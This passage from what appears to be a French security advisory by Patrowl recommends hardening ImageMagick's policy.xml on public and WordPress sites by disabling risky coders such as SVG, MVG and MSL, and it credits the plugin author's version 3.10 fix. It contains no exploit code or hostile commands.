Bien qu'il soit possible de se défendre contre certaines vulnérabilités, telles que l'utilisation du xlink de SVG, grâce à un mécanisme de définition, ce n'est pas une approche de sécurité robuste. Par exemple, le xlink resterait inactif par défaut, sauf si une définition spécifique est fournie. Cependant, cette stratégie est inadéquate, car elle s'apparente à une solution temporaire, et nous serions en permanence en train de réagir aux vulnérabilités émergentes jusqu'à ce que la suivante apparaisse. La politique de sécurité a été conçue spécifiquement pour traiter des exploits potentiellement inconnus. Si un nouvel exploit est découvert, l'utilisateur est protégé en invoquant la politique de sécurité appropriée. Le résultat est une protection immédiate contre l'exploit sans avoir besoin de mettre à jour la distribution binaire.

La sécurité est un compromis entre sécurité et commodité. La nature ouverte d'ImageMagick permet à tout utilisateur d'exploiter toutes les fonctionnalités du package dans un environnement sécurisé, comme Docker, mais la politique de sécurité permet à un administrateur de verrouiller sélectivement des fonctionnalités en fonction de son contexte local, dans un environnement plus ouvert comme un site web public. Pour tout site web public, nous recommandons de désactiver les coders suivants dans la politique de sécurité : MSL, MSVG, MVG, PS, PDF, RSVG, SVG et XPS.

Pour être clair, si vous êtes administrateur de WordPress, vous devez renforcer vos politiques de sécurité par défaut d'Imagick situées dans /etc/ImageMagick-X/policy.xml pour interdire MSL, MSVG, MVG, PS, PDF, RSVG, SVG et XPS (en particulier SVG, qui n'est pas désactivé par défaut et que nous considérons comme l'un des plus dangereux). Même si vous pensez que votre WordPress n'utilise pas cette bibliothèque.

Concernant le plugin lui-même, un grand merci à David Lingren, qui a été très réactif pour le correctif (version 3.10).

Enfin, tous les clients de Patrowl utilisant ce plugin ont été informés. Les plugins ont été désactivés pendant le processus de patching et ont été réactivés une fois la version 3.10, incluant le correctif, sortie. Certains ont même restreint les bibliothèques Imagick pour plus de prudence.

Chronologie :